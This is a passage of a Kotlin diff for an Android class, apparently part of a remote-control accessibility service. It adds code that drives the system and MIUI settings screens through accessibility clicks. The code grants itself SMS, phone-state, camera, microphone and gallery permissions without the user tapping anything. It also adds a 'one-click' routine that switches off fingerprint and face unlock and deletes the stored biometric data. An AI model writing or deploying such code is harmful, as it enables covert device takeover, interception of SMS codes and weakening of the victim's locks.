+ putExtra("request_sms_permission", true)
+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("sms", "main_activity")
+ }
+
+ // MIUI/澎湃OS 特殊处理
+ if (isMiuiDevice() && !entryVisible) {
+ Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予短信权限")
+ openMiuiPermissionEditor("sms")
+ }
+ // 始终启动监听，确保MIUI分支也能在超时后自动清理请求状态
startSMSPermissionDialogMonitoring()
+ } catch (e: Exception) {
+ Log.e(TAG, "启动短信权限申请失败", e)
+ isRequestingSMSPermission = false
+ smsPermissionRetryCount = 0
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "start_exception")
}
}
+ /**
+ * 一键禁用指纹/人脸（尽力而为）
+ * 说明：
+ * 1) 不依赖设备管理员高权限，走系统设置页自动化点击。
+ * 2) 部分 ROM 会要求输入锁屏凭据，此时返回“需人工确认”。
+ */
+ fun disableBiometricAuth(): Pair {
+ return try {
+ val intents = listOf(
+ Intent(android.provider.Settings.ACTION_SECURITY_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent("android.settings.FINGERPRINT_SETTINGS").apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent("android.settings.FACE_SETTINGS").apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent("android.settings.BIOMETRIC_ENROLL").apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ },
+ Intent(android.provider.Settings.ACTION_SETTINGS).apply {
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)
+ addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
+ }
+ )
+
+ var launched = false
+ for (intent in intents) {
+ if (intent.resolveActivity(context.packageManager) == null) continue
+ try {
+ context.startActivity(intent)
+ launched = true
+ break
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 启动生物识别设置失败: action=${intent.action}", e)
+ }
+ }
+ if (!launched) {
+ return Pair(false, "无法打开系统安全设置页")
+ }
+
+ val biometricEntryTexts = listOf(
+ "指纹", "Fingerprint", "Face", "Face unlock", "人脸", "面容", "生物识别", "Biometric",
+ "密码与安全", "密码、隐私与安全", "指纹、面部与密码", "面容解锁", "指纹解锁",
+ "Face data", "Fingerprint data"
+ )
+ val disableTexts = listOf(
+ "关闭", "禁用", "停用", "删除", "移除", "关闭指纹", "关闭人脸",
+ "删除指纹", "删除面容", "清除面容数据", "清除指纹数据", "关闭面容解锁", "关闭指纹解锁",
+ "Disable", "Turn off", "Off", "Remove", "Delete", "Remove face data", "Remove fingerprint"
+ )
+ val confirmTexts = listOf(
+ "确定", "确认", "继续", "同意", "是", "删除", "关闭",
+ "OK", "Confirm", "Continue", "Yes", "Disable", "Turn off", "Remove", "Delete"
+ )
+ val credentialTexts = listOf(
+ "输入锁屏密码", "请输入密码", "验证密码", "输入 PIN", "输入图案",
+ "请输入锁屏密码", "输入屏幕锁定密码",
+ "Enter password", "Confirm your PIN", "Confirm your pattern", "Verify it's you"
+ )
+
+ var clicked = false
+ var requiresCredential = false
+
+ repeat(16) {
+ Thread.sleep(380)
+ val root = service.rootInActiveWindow ?: return@repeat
+ try {
+ if (containsAnyKeywordInTree(root, credentialTexts)) {
+ requiresCredential = true
+ return@repeat
+ }
+
+ // 先尝试进入指纹/人脸子页面。
+ if (tryClickNodesByText(root, biometricEntryTexts)) {
+ clicked = true
+ Thread.sleep(260)
+ return@repeat
+ }
+
+ // 生物识别页面很多是「行 + 开关」结构，优先尝试关闭已开启开关。
+ if (tryDisableCheckedBiometricSwitch(root, biometricEntryTexts)) {
+ clicked = true
+ Thread.sleep(220)
+ return@repeat
+ }
+
+ // 再尝试点击关闭/删除动作，再执行确认。
+ if (tryClickNodesByText(root, disableTexts)) {
+ clicked = true
+ Thread.sleep(220)
+ }
+ if (tryClickNodesByText(root, confirmTexts)) {
+ clicked = true
+ }
+ } finally {
+ runCatching { root.recycle() }
+ }
+ }
+
+ if (requiresCredential) {
+ Pair(false, "已进入生物识别设置，但系统要求输入锁屏密码，请手动完成最后确认")
+ } else if (clicked) {
+ Pair(true, "已执行一键禁用指纹/人脸流程（ROM 可能仍需人工确认）")
+ } else {
+ Pair(false, "已打开安全设置，但未定位到可点击的指纹/人脸禁用控件")
+ }
+ } catch (e: Exception) {
+ Log.e(TAG, "❌ 一键禁用指纹/人脸失败", e)
+ Pair(false, "禁用指纹/人脸失败: ${e.message ?: "unknown_error"}")
+ }
+ }
+
+ /**
+ * 在系统设置页尝试关闭已开启的生物识别相关开关。
+ * 说明：优先要求页面内存在生物识别关键词，避免误触普通设置项。
+ */
+ private fun tryDisableCheckedBiometricSwitch(
+ rootNode: AccessibilityNodeInfo,
+ biometricKeywords: List
+ ): Boolean {
+ return try {
+ val pageLooksBiometric = containsAnyKeywordInTree(rootNode, biometricKeywords) ||
+ containsAnyKeywordInTree(rootNode, listOf("已录入", "已开启", "face", "fingerprint"))
+ if (!pageLooksBiometric) {
+ return false
+ }
+
+ val allNodes = mutableListOf()
+ collectAllNodes(rootNode, allNodes, 0)
+ for (node in allNodes) {
+ val className = node.className?.toString()?.lowercase() ?: ""
+ val switchLike = node.isCheckable ||
+ className.contains("switch") ||
+ className.contains("checkbox") ||
+ className.contains("miuiswitch")
+ if (!switchLike) continue
+
+ val checked = runCatching { node.isChecked }.getOrDefault(false)
+ if (!checked) continue
+
+ if (clickNodeOrParent(node)) {
+ Log.i(TAG, "✅ 已尝试关闭生物识别开关: class=${node.className}")
+ return true
+ }
+ }
+ false
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 尝试关闭生物识别开关失败", e)
+ false
+ }
+ }
+
+ private fun containsAnyKeywordInTree(
+ rootNode: AccessibilityNodeInfo,
+ keywords: List
+ ): Boolean {
+ for (keyword in keywords) {
+ val nodes = findNodesByText(rootNode, keyword)
+ if (nodes.isNotEmpty()) {
+ return true
+ }
+ }
+ return false
+ }
+
/**
* 是否为小米/红米（含澎湃OS/MIUI）
*/
@@ -5795,11 +7360,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 先异步等待短时间，若已出现系统运行时权限弹框或已授权，则不再打开任何设置页面，避免双弹
serviceScope.launch {
-// val appeared = pollForRuntimeDialogOrGrant(reason)
-// if (appeared) {
-// Log.i(TAG, "✅ 检测到系统权限弹框或已授权，跳过设置页")
-// return@launch
-// }
+ val editorLaunchDelayMs = getPermissionEditorLaunchDelayMs()
+ if (editorLaunchDelayMs > 0L) {
+ Log.i(TAG, "⏱️ 慢速模式：延迟 ${editorLaunchDelayMs}ms 再打开权限编辑页，reason=$reason")
+ delay(editorLaunchDelayMs)
+ }
+ val appeared = pollForRuntimeDialogOrGrant(reason)
+ if (appeared) {
+ Log.i(TAG, "✅ 检测到系统权限弹框或已授权，跳过设置页")
+ return@launch
+ }
// 未检测到弹框，按机型策略再尝试拉起权限设置页
continueOpenPermissionEditor(reason, isMiui)
@@ -5892,6 +7462,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
private fun continueOpenPermissionEditor(reason: String, isMiui: Boolean) {
try {
+ var attempts = 0
// A) Android 12-15 权限控制器（优先，兼容原生/HyperOS；非小米机型使用）
val permissionControllerIntents = listOf(
Intent().apply {
@@ -5973,14 +7544,16 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (isMiui) {
for (itx in miuiIntents) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
}
}
for (itx in fallbackVariants) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
@@ -5988,22 +7561,42 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
} else {
for (itx in permissionControllerIntents) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
}
}
for (itx in fallbackVariants) {
- val started = tryStartSettingsActivity(itx)
+ attempts++
+ val started = tryStartSettingsActivity(itx, reason)
if (started == true) {
startMiuiPermissionAutoToggle(reason)
return
}
}
}
+ val failCode = if (isMiui) {
+ "miui_permission_editor_launch_denied"
+ } else {
+ "permission_editor_launch_failed"
+ }
+ recordRuntimePermissionFailure(
+ reason,
+ failCode,
+ "reason=$reason, attempts=$attempts",
+ "continue_permission_editor"
+ )
+ Log.w(TAG, "⚠️ 权限编辑页未拉起: reason=$reason, attempts=$attempts, isMiui=$isMiui")
} catch (e: Exception) {
Log.e(TAG, "❌ 继续打开权限编辑页流程失败", e)
+ recordRuntimePermissionFailure(
+ reason,
+ "permission_editor_exception",
+ e.message ?: "unknown",
+ "continue_permission_editor_exception"
+ )
}
}
@@ -6019,6 +7612,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return false
}
+ private fun verifyRuntimeRequestEntry(reason: String, source: String): Boolean {
+ repeat(5) { idx ->
+ Thread.sleep(180)
+ val activePackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty()
+ if (activePackage == context.packageName.lowercase() || isRuntimePermissionDialogPackage(activePackage)) {
+ if (idx > 0) {
+ Log.i(TAG, "✅ 权限入口已可见: reason=$reason, source=$source, active=$activePackage")
+ }
+ return true
+ }
+ }
+ val finalPackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty()
+ Log.w(
+ TAG,
+ "⚠️ 运行时权限入口未拉起，疑似ROM后台弹出限制: reason=$reason, source=$source, active=$finalPackage"
+ )
+ recordRuntimePermissionFailure(
+ reason,
+ if (isMiuiDevice()) "miui_background_activity_launch_denied" else "runtime_entry_not_visible",
+ "source=$source, active=$finalPackage",
+ "verify_runtime_request_entry"
+ )
+ return false
+ }
+
private fun isPermissionGrantedFor(reason: String): Boolean {
return try {
when (reason.lowercase()) {
@@ -6046,22 +7664,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
/**
* 安全启动设置/权限页面
*/
- private fun tryStartSettingsActivity(intent: Intent): Boolean? {
+ private fun tryStartSettingsActivity(intent: Intent, reason: String): Boolean {
return try {
if (intent.resolveActivity(context.packageManager) != null) {
context.startActivity(intent)
- Log.i(TAG, "✅ 已启动权限设置页面: ${intent.component ?: intent.action}")
- true
+ val launchConfirmed = waitForSettingsUiLaunch(intent)
+ if (launchConfirmed) {
+ Log.i(TAG, "✅ 已启动权限设置页面: ${intent.component ?: intent.action}")
+ true
+ } else {
+ Log.w(TAG, "⚠️ 权限设置页面疑似被ROM拦截: ${intent.component ?: intent.action}")
+ recordRuntimePermissionFailure(
+ reason,
+ if (isMiuiDevice()) "miui_permission_editor_launch_denied" else "permission_editor_launch_blocked",
+ "intent=${intent.component ?: intent.action}",
+ "try_start_settings"
+ )
+ false
+ }
} else {
Log.w(TAG, "⚠️ 权限设置页面不可用: ${intent.component ?: intent.action}")
false
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动权限设置页面异常", e)
+ recordRuntimePermissionFailure(
+ reason,
+ "permission_editor_launch_exception",
+ e.message ?: "unknown",
+ "try_start_settings_exception"
+ )
false
}
}
+ private fun waitForSettingsUiLaunch(intent: Intent): Boolean {
+ val expectedHints = mutableSetOf()
+ intent.component?.packageName?.lowercase()?.let { expectedHints.add(it) }
+ intent.`package`?.lowercase()?.let { expectedHints.add(it) }
+
+ val action = intent.action?.lowercase().orEmpty()
+ if (action.contains("miui.intent.action.app_perm_editor")) {
+ expectedHints.add("com.miui.securitycenter")
+ expectedHints.add("com.miui.permcenter")
+ expectedHints.add("com.lbe.security.miui")
+ }
+ if (action.contains("application_details_settings") || action.contains("manage_applications_settings")) {
+ expectedHints.add("com.android.settings")
+ expectedHints.add("com.miui.securitycenter")
+ expectedHints.add("com.miui.permcenter")
+ }
+
+ repeat(5) { idx ->
+ Thread.sleep(200)
+ val activePackage = service.rootInActiveWindow?.packageName?.toString()?.lowercase().orEmpty()
+ if (activePackage.isBlank()) return@repeat
+ val matchedExpected = expectedHints.any { hint -> activePackage.contains(hint) }
+ if (matchedExpected || isRuntimePermissionDialogPackage(activePackage)) {
+ return true
+ }
+ if (idx == 4) {
+ Log.w(
+ TAG,
+ "⚠️ 设置页启动后校验失败: action=${intent.action}, expected=${expectedHints.joinToString(",")}, active=$activePackage"
+ )
+ }
+ }
+ return false
+ }
+
/**
* 在打开MIUI权限页后，自动尝试通过无障碍切换所需权限开关
* reason: "camera" | "gallery" | "sms" | "microphone"
@@ -6074,104 +7745,504 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return
}
- val keywords = when (reason.lowercase()) {
- "camera" -> listOf("摄像头", "相机", "Camera")
- "gallery" -> listOf("相册", "照片", "图片", "存储", "媒体")
- "sms" -> listOf("短信", "SMS", "信息", "Messages","电话","网络")
- "microphone" -> listOf("麦克风", "录音", "麦克", "Microphone")
- else -> emptyList()
- }
-
- if (keywords.isEmpty()) return
+ val targets = buildMiuiPermissionTargets(reason)
+ if (targets.isEmpty()) return
// 异步轮询扫描页面并尝试点击目标权限项及其开关
serviceScope.launch {
- val approvalsNeeded = if (reason.equals("sms", ignoreCase = true)) 2 else 1
+ val approvalsNeeded = targets.size
var approvalsDone = 0
+ val completedTargets = linkedSetOf()
+ var activeTargetIndex = 0
val maxTries = 18
+ var nonPermissionContextStreak = 0
+ var runtimeDialogNoButtonStreak = 0
+ Log.i(
+ TAG,
+ "🧭 启动MIUI权限自动切换: reason=$reason, targets=${targets.joinToString { it.key }}, maxTries=$maxTries"
+ )
repeat(maxTries) { idx ->
delay(500)
try {
+ val activeTarget = targets.getOrNull(activeTargetIndex)
+ ?: targets.firstOrNull { !completedTargets.contains(it.key) }
+ if (activeTarget == null) {
+ Log.i(TAG, "✅ MIUI权限自动切换目标已全部完成: reason=$reason")
+ return@launch
+ }
+
val service = com.hikoncont.service.AccessibilityRemoteService.getInstance()
val root = service?.rootInActiveWindow
- if (root == null) return@repeat
-
- // 1) 优先处理系统运行时权限弹框按钮（避免额外跳设置页）
- val allowButtons = listOf(
- // 中文
- "仅在使用中允许", "仅在使用该应用时允许", "始终允许", "始终全部允许", "本次允许","允许",
- // 英文
- "Allow", "Allow only while using the app", "Allow all the time", "Always allow"
- )
-
- if (tryClickByTexts(root, allowButtons)) {
- approvalsDone++
- Log.i(TAG, "✅ 已点击运行时权限弹框允许类按钮: $reason (第${approvalsDone}次)")
- root.recycle()
- if (approvalsDone >= approvalsNeeded) {
+ if (root == null) {
+ nonPermissionContextStreak++
+ if (nonPermissionContextStreak >= 6) {
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_permission_ui_not_visible",
+ "root_window_null_streak=$nonPermissionContextStreak",
+ "miui_auto_toggle"
+ )
+ Log.w(TAG, "⚠️ MIUI权限自动切换提前结束：连续未获取到活动窗口")
return@launch
- } else {
- // 等待下一层弹框出现
- delay(500)
- return@repeat
}
+ if (idx % 4 == 0) {
+ Log.d(TAG, "🧭 MIUI权限自动切换等待窗口: reason=$reason, try=${idx + 1}")
+ }
+ return@repeat
}
+ val rootPackage = root.packageName?.toString()?.lowercase().orEmpty()
+ val inMiuiPermissionPage = isMiuiPermissionEditorPackage(rootPackage)
+ val inRuntimeDialog = isRuntimePermissionDialogPackage(rootPackage) && !inMiuiPermissionPage
+
+ // 1) 仅在运行时权限弹框包内处理两阶段确认，避免在桌面/系统页误触
+ val strictAllow = activeTarget.strictAllowSemantics
+ if (inRuntimeDialog) {
+ nonPermissionContextStreak = 0
+ if (tryClickRuntimePermissionButtonsInternal(
+ node = root,
+ logPrefix = "🧭",
+ scene = "miui_auto_toggle_${activeTarget.key}",
+ strictAllowSemantics = strictAllow
+ )
+ ) {
+ runtimeDialogNoButtonStreak = 0
+ completedTargets.add(activeTarget.key)
+ approvalsDone = completedTargets.size
+ Log.i(
+ TAG,
+ "✅ [MIUI运行时确认] 已点击最终确认按钮: target=${activeTarget.key}, round=${approvalsDone}/$approvalsNeeded"
+ )
+ root.recycle()
+ if (approvalsDone >= approvalsNeeded) {
+ return@launch
+ } else {
+ activeTargetIndex = targets.indexOfFirst { !completedTargets.contains(it.key) }
+ .let { if (it < 0) targets.size else it }
+ // 等待下一层弹框出现
+ delay(500)
+ return@repeat
+ }
+ } else {
+ runtimeDialogNoButtonStreak++
+ if (runtimeDialogNoButtonStreak >= 4) {
+ recordRuntimePermissionFailure(
+ reason,
+ "runtime_dialog_button_not_found",
+ "scene=miui_auto_toggle_${activeTarget.key}, streak=$runtimeDialogNoButtonStreak",
+ "miui_auto_toggle"
+ )
+ }
+ }
+ } else if (idx % 4 == 0) {
+ Log.d(
+ TAG,
+ "🧭 非运行时权限弹框包，跳过两阶段确认: package=$rootPackage, reason=$reason, target=${activeTarget.key}"
+ )
+ }
+
+ if (!inMiuiPermissionPage) {
+ nonPermissionContextStreak++
+ if (nonPermissionContextStreak >= 6) {
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_permission_ui_not_visible",
+ "package=$rootPackage, streak=$nonPermissionContextStreak",
+ "miui_auto_toggle"
+ )
+ Log.w(
+ TAG,
+ "⚠️ MIUI权限自动切换提前结束：连续不在权限页面/权限弹框, package=$rootPackage"
+ )
+ nodesSafeRecycle(root)
+ return@launch
+ }
+ if (idx % 4 == 0) {
+ Log.d(
+ TAG,
+ "🧭 当前不在MIUI权限页: reason=$reason, package=$rootPackage, try=${idx + 1}"
+ )
+ }
+ nodesSafeRecycle(root)
+ return@repeat
+ }
+ nonPermissionContextStreak = 0
+
val nodes = mutableListOf()
collectAllNodes(root, nodes, 0)
- // 先定位包含关键词的行项目，再在同层或子层找 Switch/Checkable 按钮
- val targetRows = nodes.filter { node ->
- val text = (node.text?.toString() ?: "") + " " + (node.contentDescription?.toString() ?: "")
- keywords.any { kw -> text.contains(kw, ignoreCase = true) }
+ val detailTarget = detectMiuiPermissionDetailTarget(nodes)
+ if (!detailTarget.isNullOrBlank() && !detailTarget.equals(activeTarget.key, ignoreCase = true)) {
+ Log.i(
+ TAG,
+ "↩️ 当前停留在${detailTarget}权限详情页，先返回列表再处理目标权限: target=${activeTarget.key}"
+ )
+ runCatching {
+ service?.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
+ }
+ nodes.forEach { it.recycle() }
+ root.recycle()
+ delay(350)
+ return@repeat
+ }
+ if (!detailTarget.isNullOrBlank() && detailTarget.equals(activeTarget.key, ignoreCase = true)) {
+ val detailApplied = tryClickRuntimePermissionButtonsInternal(
+ node = root,
+ logPrefix = "🧭",
+ scene = "miui_detail_${activeTarget.key}",
+ strictAllowSemantics = strictAllow,
+ allowOptionOnlySuccess = true
+ )
+ if (detailApplied) {
+ completedTargets.add(activeTarget.key)
+ approvalsDone = completedTargets.size
+ Log.i(
+ TAG,
+ "✅ [MIUI详情授权] 已处理权限详情页: target=${activeTarget.key}, round=${approvalsDone}/$approvalsNeeded"
+ )
+ runCatching {
+ service?.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK)
+ }
+ nodes.forEach { it.recycle() }
+ root.recycle()
+ if (approvalsDone >= approvalsNeeded) {
+ return@launch
+ }
+ activeTargetIndex = targets.indexOfFirst { !completedTargets.contains(it.key) }
+ .let { if (it < 0) targets.size else it }
+ delay(350)
+ return@repeat
+ }
}
+ val bestRow = selectBestMiuiPermissionRow(nodes, activeTarget, idx, maxTries)
var toggled = false
- for (row in targetRows) {
- // 尝试点击行本身
- if (clickNodeOrParent(row)) toggled = true
- // 在子节点中找可切换控件
- val sub = mutableListOf()
- collectAllNodes(row, sub, 0)
- val switchOrButton = sub.firstOrNull { n ->
- (n.className?.toString()?.contains("Switch", true) == true) ||
- (n.isCheckable) ||
- (n.isClickable && (n.className?.toString()?.contains("Button", true) == true))
+ if (bestRow != null) {
+ if (clickNodeOrParent(bestRow.node)) {
+ toggled = true
+ Log.i(
+ TAG,
+ "✅ [MIUI条目命中] target=${activeTarget.key}, score=${bestRow.score}, text='${bestRow.text}'"
+ )
}
- if (switchOrButton != null) {
- if (clickNodeOrParent(switchOrButton)) toggled = true
- }
- sub.forEach { it.recycle() }
- row.recycle()
- if (toggled) break
}
nodes.forEach { it.recycle() }
root.recycle()
if (toggled) {
- Log.i(TAG, "✅ 已尝试自动切换权限开关: $reason (第${idx + 1}次)")
- // 如果还有二次确认弹框，继续轮询点击
- if (approvalsDone >= approvalsNeeded) {
- return@launch
+ if (idx % 3 == 0) {
+ Log.i(
+ TAG,
+ "🧭 MIUI权限条目点击完成，等待详情弹框: reason=$reason, target=${activeTarget.key}, try=${idx + 1}/$maxTries"
+ )
}
+ delay(300)
}
} catch (e: Exception) {
Log.e(TAG, "❌ 自动切换权限开关失败", e)
}
}
+ Log.w(TAG, "⚠️ MIUI权限自动切换结束但未确认成功: reason=$reason")
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_auto_toggle_exhausted",
+ "approvalsDone=$approvalsDone/$approvalsNeeded, maxTries=$maxTries",
+ "miui_auto_toggle"
+ )
}
} catch (e: Exception) {
Log.e(TAG, "❌ 启动MIUI权限自动切换流程失败", e)
+ recordRuntimePermissionFailure(
+ reason,
+ "miui_auto_toggle_exception",
+ e.message ?: "unknown",
+ "miui_auto_toggle_exception"
+ )
+ }
+ }
+
+ private fun detectMiuiPermissionDetailTarget(
+ nodes: List
+ ): String? {
+ if (nodes.isEmpty()) return null
+ val hasRadioLikeControl = nodes.any { node ->
+ val cls = node.className?.toString().orEmpty()
+ node.isCheckable || cls.contains("RadioButton", ignoreCase = true)
+ }
+ if (!hasRadioLikeControl) return null
+
+ val texts = nodes.mapNotNull { node ->
+ val merged = buildNodeCombinedText(node.text, node.contentDescription)
+ .replace("\\s+".toRegex(), "")
+ if (merged.isBlank()) null else merged
+ }
+ if (texts.isEmpty()) return null
+
+ val optionTokens = listOf("拒绝", "每次使用询问", "仅在使用中允许", "始终允许", "询问")
+ val hasRuntimeLikeOption = texts.any { text ->
+ optionTokens.any { token -> text.contains(token, ignoreCase = true) }
+ }
+ if (!hasRuntimeLikeOption) return null
+
+ for (target in getAllMiuiPermissionTargets()) {
+ val matched = texts.any { text -> matchesMiuiPermissionTargetText(target, text) }
+ if (matched) {
+ return target.key
+ }
+ }
+ return null
+ }
+
+ private data class MiuiPermissionTarget(
+ val key: String,
+ val reason: String,
+ val keywords: List,
+ val strictAllowSemantics: Boolean
+ )
+
+ private data class MiuiPermissionRowCandidate(
+ val node: android.view.accessibility.AccessibilityNodeInfo,
+ val text: String,
+ val score: Int
+ )
+
+ private fun buildMiuiPermissionTargets(reason: String): List {
+ return when (reason.lowercase()) {
+ "camera" -> listOf(
+ MiuiPermissionTarget(
+ key = "camera",
+ reason = "camera",
+ keywords = listOf("摄像头", "相机", "拍摄照片", "录制视频", "camera"),
+ strictAllowSemantics = false
+ )
+ )
+
+ "gallery" -> listOf(
+ MiuiPermissionTarget(
+ key = "gallery",
+ reason = "gallery",
+ keywords = listOf("相册", "照片", "视频", "图片", "媒体", "读取照片", "读取视频"),
+ strictAllowSemantics = false
+ )
+ )
+
+ "microphone" -> listOf(
+ MiuiPermissionTarget(
+ key = "microphone",
+ reason = "microphone",
+ keywords = listOf("麦克风", "录音", "录制音频", "microphone", "recordaudio"),
+ strictAllowSemantics = false
+ )
+ )
+
+ "sms" -> listOf(
+ MiuiPermissionTarget(
+ key = "sms_core",
+ reason = "sms",
+ keywords = listOf("短信", "sms", "彩信", "读取短信", "发送短信", "接收短信"),
+ strictAllowSemantics = true
+ ),
+ MiuiPermissionTarget(
+ key = "sms_phone_state",
+ reason = "sms",
+ keywords = listOf("电话状态", "读取电话状态", "读取电话信息", "phone state", "read phone state"),
+ strictAllowSemantics = true
+ )
+ )
+
+ else -> emptyList()
+ }
+ }
+
+ private fun getAllMiuiPermissionTargets(): List {
+ return listOf("camera", "gallery", "microphone", "sms")
+ .flatMap { buildMiuiPermissionTargets(it) }
+ }
+
+ private fun matchesMiuiPermissionTargetText(
+ target: MiuiPermissionTarget,
+ rawText: String
+ ): Boolean {
+ if (rawText.isBlank()) return false
+ val normalized = rawText.replace("\\s+".toRegex(), "")
+ if (normalized.isEmpty()) return false
+
+ // 过滤掉MIUI权限页中高频但与授权无关的行，避免误点“存储占用”等信息项
+ val blacklist = listOf(
+ "存储占用",
+ "内存占用",
+ "电量占用",
+ "耗电",
+ "流量",
+ "网络",
+ "WLAN",
+ "移动数据",
+ "开机自启动",
+ "后台弹出",
+ "锁屏显示",
+ "应用行为记录",
+ "权限管理",
+ "通知管理",
+ "清除数据",
+ "强行停止",
+ "应用详情",
+ "短视频组件"
+ )
+ if (blacklist.any { normalized.contains(it, ignoreCase = true) }) {
+ return false
+ }
+
+ if (target.keywords.none { normalized.contains(it, ignoreCase = true) }) {
+ return false
+ }
+
+ // 短信子目标拆分后，不再接受过宽泛关键词，避免误命中相机详情页
+ if (target.key == "sms_core") {
+ val mustHave = listOf("短信", "sms", "彩信")
+ if (mustHave.none { normalized.contains(it, ignoreCase = true) }) return false
+ }
+ if (target.key == "sms_phone_state") {
+ val mustHave = listOf("电话状态", "读取电话状态", "phone state", "read phone state")
+ if (mustHave.none { normalized.contains(it, ignoreCase = true) }) return false
+ }
+
+ return true
+ }
+
+ private fun scoreMiuiPermissionRow(
+ target: MiuiPermissionTarget,
+ normalizedText: String,
+ node: android.view.accessibility.AccessibilityNodeInfo
+ ): Int {
+ var score = 0
+ target.keywords.forEach { keyword ->
+ if (normalizedText.contains(keyword, ignoreCase = true)) {
+ score += 60 + (keyword.length * 4)
+ if (normalizedText.equals(keyword, ignoreCase = true)) {
+ score += 90
+ }
+ }
+ }
+
+ val stateTokens = listOf("允许", "拒绝", "询问", "始终", "仅在", "每次")
+ if (stateTokens.any { normalizedText.contains(it, ignoreCase = true) }) {
+ score += 90
+ }
+
+ if (target.key == "sms_core" && normalizedText.contains("电话状态", ignoreCase = true)) {
+ score -= 120
+ }
+ if (target.key == "sms_phone_state" &&
+ (normalizedText.contains("短信", ignoreCase = true) || normalizedText.contains("彩信", ignoreCase = true))
+ ) {
+ score -= 100
+ }
+
+ val noiseTokens = listOf("相机", "摄像头", "麦克风", "录音", "相册", "照片", "视频")
+ if (target.reason == "sms" && noiseTokens.any { normalizedText.contains(it, ignoreCase = true) }) {
+ score -= 120
+ }
+
+ if (node.isClickable) score += 20
+ val className = node.className?.toString().orEmpty().lowercase()
+ if (className.contains("layout")) score += 10
+ if (className.contains("textview")) score -= 8
+ return score
+ }
+
+ private fun selectBestMiuiPermissionRow(
+ nodes: List,
+ target: MiuiPermissionTarget,
+ tryIndex: Int,
+ maxTries: Int
+ ): MiuiPermissionRowCandidate? {
+ val candidates = mutableListOf()
+ nodes.forEach { node ->
+ val text = buildNodeCombinedText(node.text, node.contentDescription)
+ if (text.isBlank()) return@forEach
+ if (!isLikelyPermissionActionRow(text)) return@forEach
+ if (!matchesMiuiPermissionTargetText(target, text)) return@forEach
+ val normalized = text.replace("\\s+".toRegex(), "")
+ val score = scoreMiuiPermissionRow(target, normalized, node)
+ candidates.add(
+ MiuiPermissionRowCandidate(
+ node = node,
+ text = normalized.take(80),
+ score = score
+ )
+ )
+ }
+
+ if (candidates.isEmpty()) {
+ if (tryIndex % 4 == 0) {
+ Log.d(
+ TAG,
+ "🧭 MIUI权限页未命中目标条目: target=${target.key}, try=${tryIndex + 1}/$maxTries"
+ )
+ }
+ return null
+ }
+
+ val ranked = candidates.sortedByDescending { it.score }
+ if (tryIndex % 3 == 0) {
+ val preview = ranked.take(3).joinToString(" | ") {
+ "${it.score}:${it.text}"
+ }
+ Log.d(
+ TAG,
+ "🧭 MIUI目标候选排名: target=${target.key}, top=${ranked.take(3).size}, $preview"
+ )
+ }
+ return ranked.first()
+ }
+
+ private fun isLikelyPermissionActionRow(rawText: String): Boolean {
+ if (rawText.isBlank()) return false
+ val normalized = rawText.replace("\\s+".toRegex(), "")
+ val denyTokens = listOf("存储占用", "内存占用", "电量占用", "流量", "应用行为记录", "权限管理", "通知管理")
+ if (denyTokens.any { normalized.contains(it, ignoreCase = true) }) {
+ return false
+ }
+ return true
+ }
+
+ private fun nodesSafeRecycle(node: android.view.accessibility.AccessibilityNodeInfo?) {
+ try {
+ node?.recycle()
+ } catch (_: Exception) {
}
}
private fun tryClickByTexts(root: android.view.accessibility.AccessibilityNodeInfo, texts: List): Boolean {
return try {
+ // 优先走运行时权限两阶段点击，避免 MIUI 将 RadioButton 选项误判为最终确认。
+ if (tryClickRuntimePermissionButtonsInternal(
+ node = root,
+ logPrefix = "🧭",
+ scene = "miui_auto_toggle_runtime",
+ strictAllowSemantics = false
+ )
+ ) {
+ return true
+ }
+
+ // 文本兜底：仅点击“允许/确认”且非选项控件，避免重复点“每次询问/仅在使用中允许”。
for (t in texts) {
val matches = root.findAccessibilityNodeInfosByText(t)
if (matches != null && matches.isNotEmpty()) {
for (node in matches) {
+ val combinedText = buildNodeCombinedText(node.text, node.contentDescription)
